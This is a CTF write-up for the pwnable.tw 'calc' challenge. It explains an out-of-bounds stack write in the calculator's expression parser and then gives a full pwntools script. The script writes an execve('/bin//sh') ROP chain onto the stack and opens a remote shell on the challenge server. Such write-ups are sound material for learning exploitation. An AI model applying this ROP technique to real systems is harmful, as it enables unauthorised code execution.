Challenge 4. calc (pwntable.tw)

0x1 Exploration

❯ checksec calc
[*] '/home/eclipse/pwnable.tw/4.calc/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

program execution flow:
main -> calc function -> parse_expr(expr, res_calc)
Find a program segment:

switch ( *(_BYTE *)(i + expr) )
        {
          case '%':
          case '*':
          case '/':
            if ( operand_s[v6] != '+' && operand_s[v6] != '-' )
              goto LABEL_14;
            operand_s[++v6] = *(_BYTE *)(i + expr);
            break;
          case '+':
          case '-':
LABEL_14:
            eval(res_tmp_calc, operand_s[v6]);  // Calc: +, -
                                                // In these cases: +, - is also considered as single operator !!!
            operand_s[v6] = *(_BYTE *)(i + expr);
            break;
          default:
            eval(res_tmp_calc, operand_s[v6--]);// Calc: *, /, %
            break;
        }

Then, we can find:
When inputing: '+' + OFFSET + '+' + DATA+'\n', then mem(stack) is changed.
DATA: DWORD
OFFSET: DWORD (need to be calculated)
So, the thought is to cover return address of main function and make use of ROP to getshell.

What printf function prints out in calc is the calculated value where we can cover.
offset: calc_ebp + (eax) * 4 - 0x59c = main_ebp → eax

0x2 Find offset

main():

calc():


Then,
0xff8ccb88 + (eax) * 4 - 0x59c = 0xff8ccba8
offset = hex(int(( 0xff8ccba8 - 0xff8ccb88 + 0x59c ) / 4)) = 0x16f.
So, the return address is stored in offset (0x16f + 1 = 0x170).

0x3 Find gadgets and ROP chain

Referece:
http://www.phobosys.de/blog_january_20.html
https://medium.com/@sagidana/calc-pwnable-tw-ef5450f40253

Payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author: eclipse

from pwn import *

# ! Configuration
REMOTE = 1
binfile = './calc'
ip, port = 'chall.pwnable.tw', 10100
context(os='linux', arch='i386', log_level='debug')
# ! Initialization
def conn():
    if REMOTE == 1: io = remote(ip, port)
    else: io = process(binfile)
    return io


def get_shellcode():
    p = []
    p.append(0x080701aa) # pop edx ; ret
    p.append(0x080ec060) # @ .data
    p.append(0x0805c34b) # pop eax ; ret
    p.append(0x6e69622f) # 'bin'
    p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
    p.append(0x080701aa) # pop edx ; ret
    p.append(0x080ec064) # @ .data + 4
    p.append(0x0805c34b) # pop eax ; ret
    p.append(0x68732f2f) # '//sh'
    p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
    p.append(0x080701aa) # pop edx ; ret
    p.append(0x080ec068) # @ .data + 8
    p.append(0x080550d0) # xor eax, eax ; ret
    p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
    p.append(0x080481d1) # pop ebx ; ret
    p.append(0x080ec060) # @ .data
    p.append(0x080701d1) # pop ecx ; pop ebx ; ret
    p.append(0x080ec068) # @ .data + 8
    p.append(0x080ec060) # padding without overwrite ebx
    p.append(0x080701aa) # pop edx ; ret
    p.append(0x080ec068) # @ .data + 8
    p.append(0x080550d0) # xor eax, eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x0807cb7f) # inc eax ; ret
    p.append(0x08049a21) # int 0x80
    return p


def write_dword(offset, data):
    return ("+" + str(0x170 + offset) + "+" + str(data) + "+\n")


# ! Exploitation
def pwn():
    io, elf = conn(), ELF(binfile)
    payload_list = get_shellcode()
    for i, pl in enumerate(payload_list):
        payload = write_dword(i, pl)
        io.send(payload)
        io.recvline()
    io.sendline()
    io.interactive()

if __name__ == "__main__":
    pwn()